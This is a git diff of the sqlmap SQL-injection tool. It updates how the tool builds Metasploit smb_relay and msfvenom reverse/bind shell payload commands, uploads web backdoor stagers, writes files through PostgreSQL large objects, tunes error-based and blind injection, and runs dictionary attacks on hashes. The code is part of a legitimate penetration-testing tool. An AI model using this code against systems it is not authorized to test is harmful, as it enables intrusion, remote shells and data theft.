self._cliCmd = "%s windows/smb/smb_relay PAYLOAD=%s" % (self._msfCli, self.payloadConnStr) + self._cliCmd += " EXITFUNC=thread" + self._cliCmd += " LPORT=%s" % self.portStr + self._cliCmd += " SRVHOST=%s" % self.lhostStr + self._cliCmd += " SRVPORT=%s" % self._selectSMBPort() - if self.connectionStr.startswith("bind"): - self._cliCmd += " RHOST=%s" % self.rhostStr - elif self.connectionStr.startswith("reverse"): - self._cliCmd += " LHOST=%s" % self.lhostStr + if self.connectionStr.startswith("bind"): + self._cliCmd += " RHOST=%s" % self.rhostStr + elif self.connectionStr.startswith("reverse"): + self._cliCmd += " LHOST=%s" % self.lhostStr + else: + raise SqlmapDataException("unexpected connection type") + + self._cliCmd += " E" else: - raise SqlmapDataException("unexpected connection type") + self._cliCmd = "%s -x 'use windows/smb/smb_relay; set PAYLOAD %s" % (self._msfConsole, self.payloadConnStr) + self._cliCmd += "; set EXITFUNC thread" + self._cliCmd += "; set LPORT %s" % self.portStr + self._cliCmd += "; set SRVHOST %s" % self.lhostStr + self._cliCmd += "; set SRVPORT %s" % self._selectSMBPort() - self._cliCmd += " E" + if self.connectionStr.startswith("bind"): + self._cliCmd += "; set RHOST %s" % self.rhostStr + elif self.connectionStr.startswith("reverse"): + self._cliCmd += "; set LHOST %s" % self.lhostStr + else: + raise SqlmapDataException("unexpected connection type") + + self._cliCmd += "; exploit'" def _forgeMsfPayloadCmd(self, exitfunc, format, outFile, extra=None): - self._payloadCmd = "%s %s" % (self._msfPayload, self.payloadConnStr) + if kb.oldMsf: + self._payloadCmd = self._msfPayload + else: + self._payloadCmd = "%s -p" % self._msfVenom + + self._payloadCmd += " %s" % self.payloadConnStr self._payloadCmd += " EXITFUNC=%s" % exitfunc self._payloadCmd += " LPORT=%s" % self.portStr @@ -373,13 +416,22 @@ class Metasploit: if Backend.isOs(OS.LINUX) and conf.privEsc: self._payloadCmd += " PrependChrootBreak=true PrependSetuid=true" - if extra == "BufferRegister=EAX": - self._payloadCmd += " R | %s -a x86 -e %s -o \"%s\" -t %s" % (self._msfEncode, self.encoderStr, outFile, format) + if kb.oldMsf: + if extra == "BufferRegister=EAX": + self._payloadCmd += " R | %s -a x86 -e %s -o \"%s\" -t %s" % (self._msfEncode, self.encoderStr, outFile, format) - if extra is not None: - self._payloadCmd += " %s" % extra + if extra is not None: + self._payloadCmd += " %s" % extra + else: + self._payloadCmd += " X > \"%s\"" % outFile else: - self._payloadCmd += " X > \"%s\"" % outFile + if extra == "BufferRegister=EAX": + self._payloadCmd += " -a x86 -e %s -f %s > \"%s\"" % (self.encoderStr, format, outFile) + + if extra is not None: + self._payloadCmd += " %s" % extra + else: + self._payloadCmd += " -f exe > \"%s\"" % outFile def _runMsfCliSmbrelay(self): self._forgeMsfCliCmdForSmbrelay() diff --git a/lib/takeover/udf.py b/lib/takeover/udf.py index 13ec70dfe..aa10b3c63 100644 --- a/lib/takeover/udf.py +++ b/lib/takeover/udf.py @@ -361,6 +361,9 @@ class UDF: warnMsg += "<= %d are allowed" % len(udfList) logger.warn(warnMsg) + if not isinstance(choice, int): + break + cmd = "" count = 1 udfToCall = udfList[choice - 1] diff --git a/lib/takeover/web.py b/lib/takeover/web.py index 8fab16c3b..504fb4a2c 100644 --- a/lib/takeover/web.py +++ b/lib/takeover/web.py @@ -205,7 +205,6 @@ class Web: backdoorContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoor.%s_" % self.webApi)) stagerContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi)) - success = False for directory in directories: if not directory: @@ -263,8 +262,8 @@ class Web: with open(filename, "w+") as f: _ = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi)) - _ = _.replace("WRITABLE_DIR", directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory) - f.write(utf8encode(_)) + _ = _.replace("WRITABLE_DIR", utf8encode(directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory)) + f.write(_) self.unionWriteFile(filename, self.webStagerFilePath, "text", forceCheck=True) @@ -357,6 +356,4 @@ class Web: infoMsg += self.webBackdoorUrl logger.info(infoMsg) - success = True - break diff --git a/lib/techniques/blind/inference.py b/lib/techniques/blind/inference.py index 5419bd9cb..e61b65154 100644 --- a/lib/techniques/blind/inference.py +++ b/lib/techniques/blind/inference.py @@ -212,7 +212,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None return not result - def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, shiftTable=None): + def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, shiftTable=None, retried=None): """ continuousOrder means that distance between each two neighbour's numerical values is exactly 1 @@ -310,7 +310,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None kb.originalTimeDelay = conf.timeSec kb.timeValidCharsRun = 0 - if (conf.timeSec - kb.originalTimeDelay) < MAX_TIME_REVALIDATION_STEPS: + if retried < MAX_TIME_REVALIDATION_STEPS: errMsg = "invalid character detected. retrying.." logger.error(errMsg) @@ -324,7 +324,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None logger.debug(dbgMsg) kb.adjustTimeDelay = ADJUST_TIME_DELAY.NO - return getChar(idx, originalTbl, continuousOrder, expand, shiftTable) + return getChar(idx, originalTbl, continuousOrder, expand, shiftTable, (retried or 0) + 1) else: errMsg = "unable to properly validate last character value ('%s').." % decodeIntToUnicode(retVal) logger.error(errMsg) diff --git a/lib/techniques/error/use.py b/lib/techniques/error/use.py index 813a764c2..8a8009d34 100644 --- a/lib/techniques/error/use.py +++ b/lib/techniques/error/use.py @@ -35,10 +35,11 @@ from lib.core.data import logger from lib.core.data import queries from lib.core.dicts import FROM_DUMMY_TABLE from lib.core.enums import DBMS +from lib.core.enums import HASHDB_KEYS from lib.core.enums import HTTP_HEADER from lib.core.settings import CHECK_ZERO_COLUMNS_THRESHOLD -from lib.core.settings import MYSQL_ERROR_CHUNK_LENGTH -from lib.core.settings import MSSQL_ERROR_CHUNK_LENGTH +from lib.core.settings import MIN_ERROR_CHUNK_LENGTH +from lib.core.settings import MAX_ERROR_CHUNK_LENGTH from lib.core.settings import NULL from lib.core.settings import PARTIAL_VALUE_MARKER from lib.core.settings import SLOW_ORDER_COUNT_THRESHOLD @@ -50,7 +51,7 @@ from lib.core.unescaper import unescaper from lib.request.connect import Connect as Request from lib.utils.progress import ProgressBar -def _oneShotErrorUse(expression, field=None): +def _oneShotErrorUse(expression, field=None, chunkTest=False): offset = 1 partialValue = None threadData = getCurrentThreadData() @@ -63,12 +64,28 @@ def _oneShotErrorUse(expression, field=None): threadData.resumed = retVal is not None and not partialValue - if Backend.isDbms(DBMS.MYSQL): - chunk_length = MYSQL_ERROR_CHUNK_LENGTH - elif Backend.isDbms(DBMS.MSSQL): - chunk_length = MSSQL_ERROR_CHUNK_LENGTH - else: - chunk_length = None + if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL)) and kb.errorChunkLength is None and not chunkTest and not kb.testMode: + debugMsg = "searching for error chunk length..." + logger.debug(debugMsg) + + current = MAX_ERROR_CHUNK_LENGTH + while current >= MIN_ERROR_CHUNK_LENGTH: + testChar = str(current % 10) + testQuery = "SELECT %s('%s',%d)" % ("REPEAT" if Backend.isDbms(DBMS.MYSQL) else "REPLICATE", testChar, current) + result = unArrayizeValue(_oneShotErrorUse(testQuery, chunkTest=True)) + if result and testChar in result: + if result == testChar * current: + kb.errorChunkLength = current + break + else: + current = len(result) - len(kb.chars.stop) + else: + current = current / 2 + + if kb.errorChunkLength: + hashDBWrite(HASHDB_KEYS.KB_ERROR_CHUNK_LENGTH, kb.errorChunkLength) + else: + kb.errorChunkLength = 0 if retVal is None or partialValue: try: @@ -79,12 +96,12 @@ def _oneShotErrorUse(expression, field=None): if field: nulledCastedField = agent.nullAndCastField(field) - if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL)) and not any(_ in field for _ in ("COUNT", "CASE")): # skip chunking of scalar expression (unneeded) + if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL)) and not any(_ in field for _ in ("COUNT", "CASE")) and kb.errorChunkLength and not chunkTest: extendedField = re.search(r"[^ ,]*%s[^ ,]*" % re.escape(field), expression).group(0) if extendedField != field: # e.g. MIN(surname) nulledCastedField = extendedField.replace(field, nulledCastedField) field = extendedField - nulledCastedField = queries[Backend.getIdentifiedDbms()].substring.query % (nulledCastedField, offset, chunk_length) + nulledCastedField = queries[Backend.getIdentifiedDbms()].substring.query % (nulledCastedField, offset, kb.errorChunkLength) # Forge the error-based SQL injection request vector = kb.injection.data[kb.technique].vector @@ -125,10 +142,11 @@ def _oneShotErrorUse(expression, field=None): threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE) if trimmed: - warnMsg = "possible server trimmed output detected " - warnMsg += "(due to its length and/or content): " - warnMsg += safecharencode(trimmed) - logger.warn(warnMsg) + if not chunkTest: + warnMsg = "possible server trimmed output detected " + warnMsg += "(due to its length and/or content): " + warnMsg += safecharencode(trimmed) + logger.warn(warnMsg) if not kb.testMode: check = "(?P.*?)%s" % kb.chars.stop[:2] @@ -146,8 +164,8 @@ def _oneShotErrorUse(expression, field=None): else: retVal += output if output else '' - if output and len(output) >= chunk_length: - offset += chunk_length + if output and kb.errorChunkLength and len(output) >= kb.errorChunkLength and not chunkTest: + offset += kb.errorChunkLength else: break diff --git a/lib/techniques/union/test.py b/lib/techniques/union/test.py index b39bd6b5a..a498bf08c 100644 --- a/lib/techniques/union/test.py +++ b/lib/techniques/union/test.py @@ -81,73 +81,74 @@ def _findUnionCharCount(comment, place, parameter, value, prefix, suffix, where= return found - pushValue(kb.errorIsNone) - items, ratios = [], [] - kb.errorIsNone = False - lowerCount, upperCount = conf.uColsStart, conf.uColsStop + try: + pushValue(kb.errorIsNone) + items, ratios = [], [] + kb.errorIsNone = False + lowerCount, upperCount = conf.uColsStart, conf.uColsStop - if lowerCount == 1: - found = kb.orderByColumns or _orderByTechnique() - if found: - kb.orderByColumns = found - infoMsg = "target URL appears to have %d column%s in query" % (found, 's' if found > 1 else "") - singleTimeLogMessage(infoMsg) - return found + if lowerCount == 1: + found = kb.orderByColumns or _orderByTechnique() + if found: + kb.orderByColumns = found + infoMsg = "target URL appears to have %d column%s in query" % (found, 's' if found > 1 else "") + singleTimeLogMessage(infoMsg) + return found - if abs(upperCount - lowerCount) < MIN_UNION_RESPONSES: - upperCount = lowerCount + MIN_UNION_RESPONSES + if abs(upperCount - lowerCount) < MIN_UNION_RESPONSES: + upperCount = lowerCount + MIN_UNION_RESPONSES - min_, max_ = MAX_RATIO, MIN_RATIO - pages = {} + min_, max_ = MAX_RATIO, MIN_RATIO + pages = {} + + for count in xrange(lowerCount, upperCount + 1): + query = agent.forgeUnionQuery('', -1, count, comment, prefix, suffix, kb.uChar, where) + payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where) + page, headers = Request.queryPage(payload, place=place, content=True, raise404=False) + if not isNullValue(kb.uChar): + pages[count] = page + ratio = comparison(page, headers, getRatioValue=True) or MIN_RATIO + ratios.append(ratio) + min_, max_ = min(min_, ratio), max(max_, ratio) + items.append((count, ratio)) - for count in xrange(lowerCount, upperCount + 1): - query = agent.forgeUnionQuery('', -1, count, comment, prefix, suffix, kb.uChar, where) - payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where) - page, headers = Request.queryPage(payload, place=place, content=True, raise404=False) if not isNullValue(kb.uChar): - pages[count] = page - ratio = comparison(page, headers, getRatioValue=True) or MIN_RATIO - ratios.append(ratio) - min_, max_ = min(min_, ratio), max(max_, ratio) - items.append((count, ratio)) + for regex in (kb.uChar, r'>\s*%s\s*<' % kb.uChar): + contains = [(count, re.search(regex, page or "", re.IGNORECASE) is not None) for count, page in pages.items()] + if len(filter(lambda x: x[1], contains)) == 1: + retVal = filter(lambda x: x[1], contains)[0][0] + break - if not isNullValue(kb.uChar): - for regex in (kb.uChar, r'>\s*%s\s*<' % kb.uChar): - contains = [(count, re.search(regex, page or "", re.IGNORECASE) is not None) for count, page in pages.items()] - if len(filter(lambda x: x[1], contains)) == 1: - retVal = filter(lambda x: x[1], contains)[0][0] - break + if not retVal: + ratios.pop(ratios.index(min_)) + ratios.pop(ratios.index(max_)) - if not retVal: - ratios.pop(ratios.index(min_)) - ratios.pop(ratios.index(max_)) + minItem, maxItem = None, None - minItem, maxItem = None, None + for item in items: + if item[1] == min_: + minItem = item + elif item[1] == max_: + maxItem = item - for item in items: - if item[1] == min_: - minItem = item - elif item[1] == max_: - maxItem = item + if all(map(lambda x: x == min_ and x != max_, ratios)): + retVal = maxItem[0] - if all(map(lambda x: x == min_ and x != max_, ratios)): - retVal = maxItem[0] + elif all(map(lambda x: x != min_ and x == max_, ratios)): + retVal = minItem[0] - elif all(map(lambda x: x != min_ and x == max_, ratios)): - retVal = minItem[0] + elif abs(max_ - min_) >= MIN_STATISTICAL_RANGE: + deviation = stdev(ratios) + lower, upper = average(ratios) - UNION_STDEV_COEFF * deviation, average(ratios) + UNION_STDEV_COEFF * deviation - elif abs(max_ - min_) >= MIN_STATISTICAL_RANGE: - deviation = stdev(ratios) - lower, upper = average(ratios) - UNION_STDEV_COEFF * deviation, average(ratios) + UNION_STDEV_COEFF * deviation + if min_ < lower: + retVal = minItem[0] - if min_ < lower: - retVal = minItem[0] - - if max_ > upper: - if retVal is None or abs(max_ - upper) > abs(min_ - lower): - retVal = maxItem[0] - - kb.errorIsNone = popValue() + if max_ > upper: + if retVal is None or abs(max_ - upper) > abs(min_ - lower): + retVal = maxItem[0] + finally: + kb.errorIsNone = popValue() if retVal: infoMsg = "target URL appears to be UNION injectable with %d columns" % retVal diff --git a/lib/utils/api.py b/lib/utils/api.py index 357d4d3b5..4b63fbfe6 100644 --- a/lib/utils/api.py +++ b/lib/utils/api.py @@ -8,14 +8,11 @@ See the file 'doc/COPYING' for copying permission import logging import os -import shutil import sqlite3 import sys import tempfile import time -from subprocess import PIPE - from lib.core.common import unArrayizeValue from lib.core.convert import base64pickle from lib.core.convert import hexencode @@ -156,11 +153,12 @@ class Task(object): def engine_start(self): self.process = Popen(["python", "sqlmap.py", "--pickled-options", base64pickle(self.options)], - shell=False, stdin=PIPE, close_fds=not IS_WIN) + shell=False, close_fds=not IS_WIN) def engine_stop(self): if self.process: - return self.process.terminate() + self.process.terminate() + return self.process.wait() else: return None @@ -169,7 +167,8 @@ class Task(object): def engine_kill(self): if self.process: - return self.process.kill() + self.process.kill() + return self.process.wait() else: return None diff --git a/lib/utils/crawler.py b/lib/utils/crawler.py index ffac14e13..be47608e1 100644 --- a/lib/utils/crawler.py +++ b/lib/utils/crawler.py @@ -5,7 +5,6 @@ Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ -import codecs import httplib import os import re @@ -19,13 +18,11 @@ from lib.core.common import findPageForms from lib.core.common import openFile from lib.core.common import readInput from lib.core.common import safeCSValue -from lib.core.common import singleTimeWarnMessage from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.exception import SqlmapConnectionException from lib.core.settings import CRAWL_EXCLUDE_EXTENSIONS -from lib.core.settings import UNICODE_ENCODING from lib.core.threads import getCurrentThreadData from lib.core.threads import runThreads from lib.parse.sitemap import parseSitemap diff --git a/lib/utils/google.py b/lib/utils/google.py index b12de7ced..e0f4b08bd 100644 --- a/lib/utils/google.py +++ b/lib/utils/google.py @@ -31,7 +31,7 @@ from lib.request.httpshandler import HTTPSHandler class Google(object): """ This class defines methods used to perform Google dorking (command - line option '-g ' + line option '-g ') """ def __init__(self, handlers): diff --git a/lib/utils/hash.py b/lib/utils/hash.py index bc3f06f2a..81af27026 100644 --- a/lib/utils/hash.py +++ b/lib/utils/hash.py @@ -59,7 +59,6 @@ from lib.core.data import kb from lib.core.data import logger from lib.core.enums import DBMS from lib.core.enums import HASH -from lib.core.exception import SqlmapFilePathException from lib.core.exception import SqlmapUserQuitException from lib.core.settings import COMMON_PASSWORD_SUFFIXES from lib.core.settings import COMMON_USER_COLUMNS @@ -668,8 +667,9 @@ def dictionaryAttack(attack_dict): hash_regexes = [] results = [] resumes = [] - processException = False user_hash = [] + processException = False + foundHash = False for (_, hashes) in attack_dict.items(): for hash_ in hashes: @@ -693,6 +693,7 @@ def dictionaryAttack(attack_dict): if not hash_: continue + foundHash = True hash_ = hash_.split()[0] if hash_ and hash_.strip() else hash_ if re.match(hash_regex, hash_): @@ -770,7 +771,7 @@ def dictionaryAttack(attack_dict): except Exception, ex: warnMsg = "there was a problem while loading dictionaries" - warnMsg += " ('%s')" % ex + warnMsg += " ('%s')" % ex.message logger.critical(warnMsg) message = "do you want to use common password suffixes? (slow!) [y/N] " @@ -955,9 +956,8 @@ def dictionaryAttack(attack_dict): results.extend(resumes) - if len(hash_regexes) == 0: - warnMsg = "unknown hash format. " - warnMsg += "Please report by e-mail to 'dev@sqlmap.org'" + if foundHash and len(hash_regexes) == 0: + warnMsg = "unknown hash format" logger.warn(warnMsg) if len(results) == 0: diff --git a/lib/utils/sqlalchemy.py b/lib/utils/sqlalchemy.py index 9e24bba30..1b654ef2f 100644 --- a/lib/utils/sqlalchemy.py +++ b/lib/utils/sqlalchemy.py @@ -8,7 +8,6 @@ See the file 'doc/COPYING' for copying permission import imp import logging import os -import re import sys import warnings diff --git a/plugins/dbms/mssqlserver/enumeration.py b/plugins/dbms/mssqlserver/enumeration.py index 12e51a317..9ea67eff9 100644 --- a/plugins/dbms/mssqlserver/enumeration.py +++ b/plugins/dbms/mssqlserver/enumeration.py @@ -14,6 +14,7 @@ from lib.core.common import isNoneValue from lib.core.common import isNumPosStrValue from lib.core.common import isTechniqueAvailable from lib.core.common import safeSQLIdentificatorNaming +from lib.core.common import safeStringFormat from lib.core.common import unArrayizeValue from lib.core.common import unsafeSQLIdentificatorNaming from lib.core.data import conf @@ -136,7 +137,7 @@ class Enumeration(GenericEnumeration): tables = [] for index in xrange(int(count)): - _ = (rootQuery.blind.query if query == rootQuery.blind.count else rootQuery.blind.query2 if query == rootQuery.blind.count2 else rootQuery.blind.query3).replace("%s", db) % index + _ = safeStringFormat((rootQuery.blind.query if query == rootQuery.blind.count else rootQuery.blind.query2 if query == rootQuery.blind.count2 else rootQuery.blind.query3).replace("%s", db), index) table = inject.getValue(_, union=False, error=False) if not isNoneValue(table): diff --git a/plugins/dbms/mssqlserver/filesystem.py b/plugins/dbms/mssqlserver/filesystem.py index eca533d01..53e197a0d 100644 --- a/plugins/dbms/mssqlserver/filesystem.py +++ b/plugins/dbms/mssqlserver/filesystem.py @@ -343,7 +343,6 @@ class Filesystem(GenericFilesystem): logger.info(infoMsg) chunkMaxSize = 500 - dFileName = ntpath.basename(dFile) randFile = "tmpf%s.txt" % randomStr(lowercase=True) randFilePath = "%s\%s" % (tmpPath, randFile) diff --git a/plugins/dbms/mysql/filesystem.py b/plugins/dbms/mysql/filesystem.py index 5e10266a9..1bfd8f621 100644 --- a/plugins/dbms/mysql/filesystem.py +++ b/plugins/dbms/mysql/filesystem.py @@ -7,6 +7,8 @@ See the file 'doc/COPYING' for copying permission from lib.core.common import isNumPosStrValue from lib.core.common import isTechniqueAvailable +from lib.core.common import popValue +from lib.core.common import pushValue from lib.core.common import randomStr from lib.core.common import singleTimeWarnMessage from lib.core.data import conf @@ -97,8 +99,11 @@ class Filesystem(GenericFilesystem): debugMsg = "exporting the %s file content to file '%s'" % (fileType, dFile) logger.debug(debugMsg) + pushValue(kb.forceWhere) + kb.forceWhere = PAYLOAD.WHERE.NEGATIVE sqlQuery = "%s INTO DUMPFILE '%s'" % (fcEncodedStr, dFile) unionUse(sqlQuery, unpack=False) + kb.forceWhere = popValue() warnMsg = "expect junk characters inside the " warnMsg += "file as a leftover from UNION query" diff --git a/plugins/dbms/postgresql/filesystem.py b/plugins/dbms/postgresql/filesystem.py index e45be204b..bfa285091 100644 --- a/plugins/dbms/postgresql/filesystem.py +++ b/plugins/dbms/postgresql/filesystem.py @@ -8,15 +8,16 @@ See the file 'doc/COPYING' for copying permission import os from lib.core.common import randomInt -from lib.core.data import kb from lib.core.data import logger from lib.core.exception import SqlmapUnsupportedFeatureException +from lib.core.settings import LOBLKSIZE from lib.request import inject from plugins.generic.filesystem import Filesystem as GenericFilesystem class Filesystem(GenericFilesystem): def __init__(self): self.oid = None + self.page = None GenericFilesystem.__init__(self) @@ -35,34 +36,13 @@ class Filesystem(GenericFilesystem): def stackedWriteFile(self, wFile, dFile, fileType, forceCheck=False): wFileSize = os.path.getsize(wFile) - - if wFileSize > 8192: - errMsg = "on PostgreSQL it is not possible to write files " - errMsg += "bigger than 8192 bytes at the moment" - raise SqlmapUnsupportedFeatureException(errMsg) + content = open(wFile, "rb").read() self.oid = randomInt() - - debugMsg = "creating a support table to write the base64 " - debugMsg += "encoded file to" - logger.debug(debugMsg) + self.page = 0 self.createSupportTbl(self.fileTblName, self.tblField, "text") - logger.debug("encoding file to its base64 string value") - fcEncodedList = self.fileEncode(wFile, "base64", False) - - debugMsg = "forging SQL statements to write the base64 " - debugMsg += "encoded file to the support table" - logger.debug(debugMsg) - - sqlQueries = self.fileToSqlQueries(fcEncodedList) - - logger.debug("inserting the base64 encoded file to the support table") - - for sqlQuery in sqlQueries: - inject.goStacked(sqlQuery) - debugMsg = "create a new OID for a large object, it implicitly " debugMsg += "adds an entry in the large objects system table" logger.debug(debugMsg) @@ -70,44 +50,27 @@ class Filesystem(GenericFilesystem): # References: # http://www.postgresql.org/docs/8.3/interactive/largeobjects.html # http://www.postgresql.org/docs/8.3/interactive/lo-funcs.html + inject.goStacked("SELECT lo_unlink(%d)" % self.oid) inject.goStacked("SELECT lo_create(%d)" % self.oid) + inject.goStacked("DELETE FROM pg_largeobject WHERE loid=%d" % self.oid) - debugMsg = "updating the system large objects table assigning to " - debugMsg += "the just created OID the binary (base64 decoded) UDF " - debugMsg += "as data" - logger.debug(debugMsg) + for offset in xrange(0, wFileSize, LOBLKSIZE): + fcEncodedList = self.fileContentEncode(content[offset:offset + LOBLKSIZE], "base64", False) + sqlQueries = self.fileToSqlQueries(fcEncodedList) - # Refereces: - # * http://www.postgresql.org/docs/8.3/interactive/catalog-pg-largeobject.html - # * http://lab.lonerunners.net/blog/sqli-writing-files-to-disk-under-postgresql - # - # NOTE: From PostgreSQL site: - # - # "The data stored in the large object will never be more than - # LOBLKSIZE bytes and might be less which is BLCKSZ/4, or - # typically 2 Kb" - # - # As a matter of facts it was possible to store correctly a file - # large 13776 bytes, the problem arises at next step (lo_export()) - # - # Inject manually into PostgreSQL system table pg_largeobject the - # base64-decoded file content. Note that PostgreSQL >= 9.0 does - # not accept UPDATE into that table for some reason. - self.getVersionFromBanner() - banVer = kb.bannerFp["dbmsVersion"] + for sqlQuery in sqlQueries: + inject.goStacked(sqlQuery) - if banVer >= "9.0": - inject.goStacked("INSERT INTO pg_largeobject VALUES (%d, 0, DECODE((SELECT %s FROM %s), 'base64'))" % (self.oid, self.tblField, self.fileTblName)) - else: - inject.goStacked("UPDATE pg_largeobject SET data=(DECODE((SELECT %s FROM %s), 'base64')) WHERE loid=%d" % (self.tblField, self.fileTblName, self.oid)) + inject.goStacked("INSERT INTO pg_largeobject VALUES (%d, %d, DECODE((SELECT %s FROM %s), 'base64'))" % (self.oid, self.page, self.tblField, self.fileTblName)) + inject.goStacked("DELETE FROM %s" % self.fileTblName) + + self.page += 1 debugMsg = "exporting the OID %s file content to " % fileType debugMsg += "file '%s'" % dFile logger.debug(debugMsg) - # NOTE: lo_export() exports up to only 8192 bytes of the file - # (pg_largeobject 'data' field) inject.goStacked("SELECT lo_export(%d, '%s')" % (self.oid, dFile), silent=True) written = self.askCheckWrittenFile(wFile, dFile, forceCheck) diff --git a/plugins/generic/custom.py b/plugins/generic/custom.py index 2871d90c4..8362a4948 100644 --- a/plugins/generic/custom.py +++ b/plugins/generic/custom.py @@ -120,9 +120,12 @@ class Custom: if not sfile: continue - query = getSQLSnippet(Backend.getDbms(), sfile) + snippet = getSQLSnippet(Backend.getDbms(), sfile) - infoMsg = "executing SQL statement%s from file '%s'" % ("s" if ";" in query else "", sfile) - logger.info(infoMsg) - - conf.dumper.query(query, self.sqlQuery(query)) + if snippet and all(query.strip().upper().startswith("SELECT") for query in filter(None, snippet.split(';' if ';' in snippet else '\n'))): + for query in filter(None, snippet.split(';' if ';' in snippet else '\n')): + query = query.strip() + if query: + conf.dumper.query(query, self.sqlQuery(query)) + else: + conf.dumper.query(snippet, self.sqlQuery(snippet)) diff --git a/plugins/generic/databases.py b/plugins/generic/databases.py index 6fa1295d2..195b2d6a7 100644 --- a/plugins/generic/databases.py +++ b/plugins/generic/databases.py @@ -742,32 +742,33 @@ class Databases: infoMsg = "enumerating database management system schema" logger.info(infoMsg) - pushValue(conf.db) - pushValue(conf.tbl) - pushValue(conf.col) + try: + pushValue(conf.db) + pushValue(conf.tbl) + pushValue(conf.col) - kb.data.cachedTables = {} - kb.data.cachedColumns = {} + kb.data.cachedTables = {} + kb.data.cachedColumns = {} - self.getTables() + self.getTables() - infoMsg = "fetched tables: " - infoMsg += ", ".join(["%s" % ", ".join("%s%s%s" % (unsafeSQLIdentificatorNaming(db), ".." if \ - Backend.isDbms(DBMS.MSSQL) or Backend.isDbms(DBMS.SYBASE) \ - else ".", unsafeSQLIdentificatorNaming(t)) for t in tbl) for db, tbl in \ - kb.data.cachedTables.items()]) - logger.info(infoMsg) + infoMsg = "fetched tables: " + infoMsg += ", ".join(["%s" % ", ".join("%s%s%s" % (unsafeSQLIdentificatorNaming(db), ".." if \ + Backend.isDbms(DBMS.MSSQL) or Backend.isDbms(DBMS.SYBASE) \ + else ".", unsafeSQLIdentificatorNaming(t)) for t in tbl) for db, tbl in \ + kb.data.cachedTables.items()]) + logger.info(infoMsg) - for db, tables in kb.data.cachedTables.items(): - for tbl in tables: - conf.db = db - conf.tbl = tbl + for db, tables in kb.data.cachedTables.items(): + for tbl in tables: + conf.db = db + conf.tbl = tbl - self.getColumns() - - conf.col = popValue() - conf.tbl = popValue() - conf.db = popValue() + self.getColumns() + finally: + conf.col = popValue() + conf.tbl = popValue() + conf.db = popValue() return kb.data.cachedColumns diff --git a/plugins/generic/entries.py b/plugins/generic/entries.py index 628f01049..125aa8226 100644 --- a/plugins/generic/entries.py +++ b/plugins/generic/entries.py @@ -341,13 +341,13 @@ class Entries: attackDumpedTable() except (IOError, OSError), ex: errMsg = "an error occurred while attacking " - errMsg += "table dump ('%s')" % ex + errMsg += "table dump ('%s')" % ex.message logger.critical(errMsg) conf.dumper.dbTableValues(kb.data.dumpedTable) except SqlmapConnectionException, ex: errMsg = "connection exception detected in dumping phase " - errMsg += "('%s')" % ex + errMsg += "('%s')" % ex.message logger.critical(errMsg) finally: diff --git a/plugins/generic/filesystem.py b/plugins/generic/filesystem.py index b069eabfe..21b698b4e 100644 --- a/plugins/generic/filesystem.py +++ b/plugins/generic/filesystem.py @@ -6,6 +6,7 @@ See the file 'doc/COPYING' for copying permission """ import os +import sys from lib.core.agent import agent from lib.core.common import dataToOutFile @@ -13,6 +14,7 @@ from lib.core.common import Backend from lib.core.common import checkFile from lib.core.common import decloakToTemp from lib.core.common import decodeHexValue +from lib.core.common import getUnicode from lib.core.common import isNumPosStrValue from lib.core.common import isListLike from lib.core.common import isStackingAvailable @@ -42,7 +44,7 @@ class Filesystem: lengthQuery = "LENGTH(LOAD_FILE('%s'))" % remoteFile elif Backend.isDbms(DBMS.PGSQL) and not fileRead: - lengthQuery = "SELECT LENGTH(data) FROM pg_largeobject WHERE loid=%d" % self.oid + lengthQuery = "SELECT SUM(LENGTH(data)) FROM pg_largeobject WHERE loid=%d" % self.oid elif Backend.isDbms(DBMS.MSSQL): self.createSupportTbl(self.fileTblName, self.tblField, "VARBINARY(MAX)") @@ -62,6 +64,7 @@ class Filesystem: if isNumPosStrValue(remoteFileSize): remoteFileSize = long(remoteFileSize) + localFile = getUnicode(localFile, encoding=sys.getfilesystemencoding()) sameFile = False if localFileSize == remoteFileSize: @@ -105,20 +108,27 @@ class Filesystem: return sqlQueries - def fileEncode(self, fileName, encoding, single): + def fileEncode(self, fileName, encoding, single, chunkSize=256): """ Called by MySQL and PostgreSQL plugins to write a file on the back-end DBMS underlying file system """ - retVal = [] with open(fileName, "rb") as f: - content = f.read().encode(encoding).replace("\n", "") + content = f.read() + + return self.fileContentEncode(content, encoding, single, chunkSize) + + def fileContentEncode(self, content, encoding, single, chunkSize=256): + retVal = [] + + if encoding: + content = content.encode(encoding).replace("\n", "") if not single: - if len(content) > 256: - for i in xrange(0, len(content), 256): - _ = content[i:i + 256] + if len(content) > chunkSize: + for i in xrange(0, len(content), chunkSize): + _ = content[i:i + chunkSize] if encoding == "hex": _ = "0x%s" % _ @@ -232,7 +242,7 @@ class Filesystem: fileContent = newFileContent if fileContent is not None: - fileContent = decodeHexValue(fileContent) + fileContent = decodeHexValue(fileContent, True) if fileContent: localFilePath = dataToOutFile(remoteFile, fileContent) diff --git a/sqlmap.conf b/sqlmap.conf index 0fc5fb728..d7db6c376 100644 --- a/sqlmap.conf +++ b/sqlmap.conf @@ -715,16 +715,13 @@ updateAll = False [Miscellaneous] -# Use short mnemonics (e.g. "flu,bat,ban,tec=EU"). -mnemonics = - # Run host OS command(s) when SQL injection is found. alert = # Set question answers (e.g. "quit=N,follow=N"). answers = -# Make a beep sound when SQL injection is found. +# Beep on question and/or when SQL injection is found. # Valid: True or False beep = False @@ -757,6 +754,10 @@ identifyWaf = False # Valid: True or False mobile = False +# Work in offline mode (only use session data) +# Valid: True or False +offline = False + 